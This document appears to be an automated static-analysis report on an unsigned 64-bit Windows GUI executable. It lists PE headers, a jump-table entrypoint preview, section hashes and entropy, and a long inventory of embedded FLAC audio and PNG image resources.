Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6644E39E [Wed May 15 16:32:30 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	0e21b02acdd09efa7fae33e8c9915b7a

Entrypoint Preview

Instruction
jmp 00007F40B18F75E3h
jmp 00007F40B193184Eh
jmp 00007F40B1919559h
jmp 00007F40B18050A4h
jmp 00007F40B16DBDDFh
jmp 00007F40B190161Ah
jmp 00007F40B127C375h
jmp 00007F40B1259600h
jmp 00007F40B1940C2Bh
jmp 00007F40B19DCA06h
jmp 00007F40B198EFA1h
jmp 00007F40B133D82Ch
jmp 00007F40B1910287h
jmp 00007F40B15D1E82h
jmp 00007F40B15CCC2Dh
jmp 00007F40B126C538h
jmp 00007F40B1915833h
jmp 00007F40B18FBD52h
jmp 00007F40B1277599h
jmp 00007F40B19BDF24h
jmp 00007F40B19EF7BFh
jmp 00007F40B19388EAh
jmp 00007F40B156DFC5h
jmp 00007F40B13015C0h
jmp 00007F40B19578DBh
jmp 00007F40B15F43D6h
jmp 00007F40B18EFEE1h
jmp 00007F40B17D938Ch
jmp 00007F40B1924607h
jmp 00007F40B1315D92h
jmp 00007F40B18104FDh
jmp 00007F40B154B008h
jmp 00007F40B134D653h
jmp 00007F40B12FB7CEh
jmp 00007F40B13661C9h
jmp 00007F40B189A7A4h
jmp 00007F40B157AD0Fh
jmp 00007F40B18F17BAh
jmp 00007F40B183F7E5h
jmp 00007F40B14F5D30h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xfbc7b8	0x168	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfc7000	0x1db2dc0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xf58000	0x58f14	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d7a000	0x1e798	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe7eae0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xe84400	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xe7eb20	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xfba000	0x27b8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.textbss	0x1000	0x411395	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.text	0x413000	0x86fdd6	0x86fe00	8c95ea43ca9c20170f3a6cd94f902794	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc83000	0x2b9f69	0x2ba000	6256ffc4dcbe1419c91b0f7818aea99a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf3d000	0x1a510	0xd000	61de2c4fbaeb2529e0aa8b7ee6fc9f9f	False	0.15852238581730768	data	3.774890003767949	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xf58000	0x61e84	0x62000	1a912816e254dfa381a800b9a96c3893	False	0.4870181959502551	data	5.9860433045802965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0xfba000	0x95d2	0x9600	747d3008e75d91ca7a5d4c44b8307260	False	0.246328125	data	4.187166878981852	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.msvcjmc	0xfc4000	0x33c	0x400	8350cd29d95694447baaf03ab9944de4	False	0.0478515625	Targa image data - Map (257-256) 257 x 257 x 1 +257 +257 - 1-bit alpha "\001\001\001\001\001\001\001\001\001\001\001\001\001"	0.9966265097830493	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xfc5000	0x309	0x400	c573bd7cea296a9c5d230ca6b5aee1a6	False	0.021484375	data	0.011173818721219527	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0xfc6000	0x11b	0x200	50134d48d429163cf5e82fe43cd02df0	False	0.046875	data	0.19586940608732903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xfc7000	0x1db3000	0x1db2e00	c333cb8ac8c30e6245120cbd3fe7796b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d7a000	0x2c731	0x2c800	844ce5ed698cb855cefc77b78ebe467f	False	0.1167869996488764	data	4.517930603810863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
FLAC	0xfdc70c	0x1c438a6	FLAC audio bitstream data, 16 bit, stereo, 44.1 kHz, 13817808 samples			0.9923133850097656
PNG	0x2c1ffb4	0x77	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	Chinese	China	0.9915966386554622
PNG	0x2c2002c	0x2f5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0145310435931307
PNG	0x2c20324	0x301	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0143042912873863
PNG	0x2c20628	0x287	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.017001545595054
PNG	0x2c208b0	0x36e	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced	Chinese	China	1.0125284738041003
PNG	0x2c20c20	0x15d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0315186246418337
PNG	0x2c20d80	0x13e	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0345911949685536
PNG	0x2c20ec0	0x115	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	Chinese	China	1.03971119133574
PNG	0x2c20fd8	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0302013422818792
PNG	0x2c21104	0x20c	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.0209923664122138
PNG	0x2c21310	0xfd	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.0276679841897234
PNG	0x2c21410	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	Chinese	China	1.0120481927710843
PNG	0x2c214b8	0x7c	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9919354838709677
PNG	0x2c21534	0x96	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.0133333333333334
PNG	0x2c215cc	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.006896551724138
PNG	0x2c21660	0x84	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	0.9848484848484849
PNG	0x2c216e4	0xa3	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	Chinese	China	1.0122699386503067
PNG	0x2c21788	0x771	PNG image data, 13 x 156, 8-bit/color RGB, non-interlaced	Chinese	China	1.005774278215223
PNG	0x2c21efc	0x697	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.006520450503853
PNG	0x2c22594	0x342	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	Chinese	China	1.013189448441247
PNG	0x2c228d8	0x45f	PNG image data, 24 x 72, 8-bit/color RGB, non-interlaced	Chinese	China	1.0098302055406614
PNG	0x2c22d38	0x1a3	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.026252983293556
PNG	0x2c22edc	0xac8	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0039855072463768
PNG	0x2c239a4	0x37c	PNG image data, 8 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0123318385650224
PNG	0x2c23d20	0xa50	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0041666666666667
PNG	0x2c24770	0x48e	PNG image data, 9 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009433962264151
PNG	0x2c24c00	0xa50	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0041666666666667
PNG	0x2c25650	0x380	PNG image data, 8 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0122767857142858
PNG	0x2c259d0	0xab0	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0040204678362572
PNG	0x2c26480	0xb1f	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0038637161924833
PNG	0x2c26fa0	0xa8e	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0040710584752035
PNG	0x2c27a30	0xb30	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003840782122905
PNG	0x2c28560	0x3a6	PNG image data, 48 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011777301927195
PNG	0x2c28908	0x111b	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0025119890385932
PNG	0x2c29a24	0x3d1	PNG image data, 23 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0112589559877174
PNG	0x2c29df8	0x21b	PNG image data, 11 x 88, 8-bit/color RGB, non-interlaced	Chinese	China	1.0204081632653061
PNG	0x2c2a014	0xb12	PNG image data, 50 x 273, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003881439661256
PNG	0x2c2ab28	0x7ac	PNG image data, 50 x 162, 8-bit/color RGBA, non-interlaced	Chinese	China	1.005600814663951
PNG	0x2c2b2d4	0xd43	PNG image data, 50 x 264, 8-bit/color RGB, non-interlaced	Chinese	China	1.003240058910162
PNG	0x2c2c018	0x3a4	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011802575107296
PNG	0x2c2c3bc	0x320	PNG image data, 14 x 246, 8-bit/color RGBA, non-interlaced	Chinese	China	1.01375
PNG	0x2c2c6dc	0x31f	PNG image data, 14 x 246, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0137672090112642
PNG	0x2c2c9fc	0x2bd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0156918687589158
PNG	0x2c2ccbc	0x273	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0175438596491229
PNG	0x2c2cf30	0x2c9	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0154277699859748
PNG	0x2c2d1fc	0x163	PNG image data, 70 x 66, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0112676056338028
PNG	0x2c2d360	0x152	PNG image data, 41 x 36, 8-bit/color RGBA, non-interlaced	Chinese	China	1.032544378698225
PNG	0x2c2d4b4	0x38a	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0121412803532008
PNG	0x2c2d840	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082706766917293
PNG	0x2c2dd74	0x19c	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8810679611650486
PNG	0x2c2df10	0x2296	PNG image data, 72 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.001242376327084
PNG	0x2c301a8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c30848	0x1c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8252212389380531
PNG	0x2c30a0c	0x522	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.008371385083714
PNG	0x2c30f30	0x2475	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.000750026786671
PNG	0x2c333a8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c33a48	0x1c3	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8314855875831486
PNG	0x2c33c0c	0x505	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0085603112840467
PNG	0x2c34114	0x24d3	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0004243131430997
PNG	0x2c365e8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c36c88	0x1c7	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.832967032967033
PNG	0x2c36e50	0x536	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082458770614693
PNG	0x2c37388	0x24f0	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0011632825719121
PNG	0x2c39878	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c39f18	0x1c5	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8388520971302428
PNG	0x2c3a0e0	0x4d9	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.008863819500403
PNG	0x2c3a5bc	0x23d3	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0
PNG	0x2c3c990	0x189	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0279898218829517
PNG	0x2c3cb1c	0x1bc	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7027027027027027
PNG	0x2c3ccd8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c3d378	0x1c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.827433628318584
PNG	0x2c3d53c	0x4ef	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0087094220110848
PNG	0x2c3da2c	0x23a2	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0007673755755317
PNG	0x2c3fdd0	0xc5	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0253807106598984
PNG	0x2c3fe98	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c40538	0x1ba	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8212669683257918
PNG	0x2c406f4	0x4e4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0087859424920127
PNG	0x2c40bd8	0x250f	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0005270369979973
PNG	0x2c430e8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0064935064935066
PNG	0x2c43788	0x1c2	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	0.8288888888888889
PNG	0x2c4394c	0x4e9	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0087509944311854
PNG	0x2c43e38	0x23c6	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.000436776588775
PNG	0x2c46200	0xb5	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0165745856353592
PNG	0x2c462b8	0x186	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.028205128205128
PNG	0x2c46440	0x1b5	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	0.6864988558352403
PNG	0x2c465f8	0x66	PNG image data, 1 x 46, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9803921568627451
PNG	0x2c46660	0xf9	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0321285140562249
PNG	0x2c4675c	0x17c3	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	Chinese	China	0.992931119513398
PNG	0x2c47f20	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0171073094867806
PNG	0x2c481a4	0x71	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9823008849557522
PNG	0x2c48218	0x71d	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0060406370126305
PNG	0x2c48938	0x794	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0056701030927835
PNG	0x2c490cc	0x284	PNG image data, 7 x 39, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0170807453416149
PNG	0x2c49350	0x203	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.021359223300971
PNG	0x2c49554	0x1b5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0251716247139588
PNG	0x2c4970c	0xb2	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	Chinese	China	1.0168539325842696
PNG	0x2c497c0	0xd1	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9760765550239234
PNG	0x2c49894	0x21c	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0203703703703704
PNG	0x2c49ab0	0x21c	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0203703703703704
PNG	0x2c49ccc	0x1ae	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0186046511627906
PNG	0x2c49e7c	0x13a	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0222929936305734
PNG	0x2c49fb8	0x13f	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0344827586206897
PNG	0x2c4a0f8	0x135	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9967637540453075
PNG	0x2c4a230	0xdb	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0228310502283104
PNG	0x2c4a30c	0xc6	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0252525252525253
PNG	0x2c4a3d4	0x1a9	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0141176470588236
PNG	0x2c4a580	0x19b	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0194647201946472
PNG	0x2c4a71c	0x2296	PNG image data, 72 x 125, 8-bit/color RGBA, non-interlaced	Chinese	China	1.001242376327084
PNG	0x2c4c9b4	0x13e	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0345911949685536
PNG	0x2c4caf4	0x115	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	Chinese	China	1.03971119133574
PNG	0x2c4cc0c	0x83	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.0076335877862594
PNG	0x2c4cc90	0xce	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	Chinese	China	1.0242718446601942
PNG	0x2c4cd60	0xb30	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003840782122905
PNG	0x2c4d890	0x25f	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0181219110378912
PNG	0x2c4daf0	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	Chinese	China	0.9752066115702479
PNG	0x2c4db6c	0x170	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9755434782608695
PNG	0x2c4dcdc	0x26b	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0177705977382876
PNG	0x2c4df48	0x105	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9731800766283525
PNG	0x2c4e050	0xe6	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	Chinese	China	1.0260869565217392
PNG	0x2c4e138	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012101210121012
PNG	0x2c4e4c8	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0179445350734095
PNG	0x2c4e730	0x11a	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0319148936170213
PNG	0x2c4e84c	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	Chinese	China	1.011764705882353
PNG	0x2c4e8f8	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0268456375838926
PNG	0x2c4ea24	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.021113243761996
PNG	0x2c4ec30	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.0244897959183674
PNG	0x2c4ed28	0xa6	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	Chinese	China	1.0180722891566265
PNG	0x2c4edd0	0x150	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	Chinese	China	1.0327380952380953
PNG	0x2c4ef20	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0174418604651163
PNG	0x2c4efcc	0x89	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0
PNG	0x2c4f058	0x98	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.006578947368421
PNG	0x2c4f0f0	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.006896551724138
PNG	0x2c4f184	0x7d	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.008
PNG	0x2c4f204	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	Chinese	China	1.0120481927710843
PNG	0x2c4f2ac	0xbc	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0159574468085106
PNG	0x2c4f368	0xa07	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004285157771718
PNG	0x2c4fd70	0x1de1	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0014380964832004
PNG	0x2c51b54	0x1be	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0246636771300448
PNG	0x2c51d14	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082150858849888
PNG	0x2c52250	0x440	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	Chinese	China	1.010110294117647
PNG	0x2c52690	0x12e	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0298013245033113
PNG	0x2c527c0	0x5b1	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0075497597803706
PNG	0x2c52d74	0x408	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0106589147286822
PNG	0x2c5317c	0x471	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009674582233949
PNG	0x2c535f0	0x4b7	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0091135045567523
PNG	0x2c53aa8	0x481	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0095403295750216
PNG	0x2c53f2c	0x3ec	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0109561752988048
PNG	0x2c54318	0x452	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0099457504520795
PNG	0x2c5476c	0x414	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.010536398467433
PNG	0x2c54b80	0x39e	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011879049676026
PNG	0x2c54f20	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009442060085837
PNG	0x2c553b0	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.025287356321839
PNG	0x2c55564	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0299145299145298
PNG	0x2c55650	0x1ae0	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0015988372093023
PNG	0x2c57130	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0038154699965314
PNG	0x2c57c74	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0071197411003237
PNG	0x2c58280	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0017410572966128
PNG	0x2c59b30	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0024602997092373
PNG	0x2c5aca8	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0011330861145447
PNG	0x2c5d294	0xacb	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0039811798769454
PNG	0x2c5dd60	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036472148541113
PNG	0x2c5e928	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0035279025016035
PNG	0x2c5f558	0x5dd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0073284477015323
PNG	0x2c5fb38	0x597	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0076869322152342
PNG	0x2c600d0	0x5f8	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.007198952879581
PNG	0x2c606c8	0x237	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0194003527336861
PNG	0x2c60900	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0077683615819208
PNG	0x2c60e88	0x4b6	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0091210613598673
PNG	0x2c61340	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082706766917293
PNG	0x2c61874	0x5fe	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0071707953063884
PNG	0x2c61e74	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9960440802486578
PNG	0x2c62c48	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9919354838709677
PNG	0x2c62cc4	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021752026893416
PNG	0x2c64088	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0123180291153415
PNG	0x2c64408	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0119956379498365
PNG	0x2c647a0	0x125e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023394300297745
PNG	0x2c65a00	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021808088818398
PNG	0x2c66db4	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0126002290950744
PNG	0x2c67120	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0113168724279835
PNG	0x2c674ec	0x1320	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002246732026144
PNG	0x2c6880c	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021842732327244
PNG	0x2c69bb8	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012672811059908
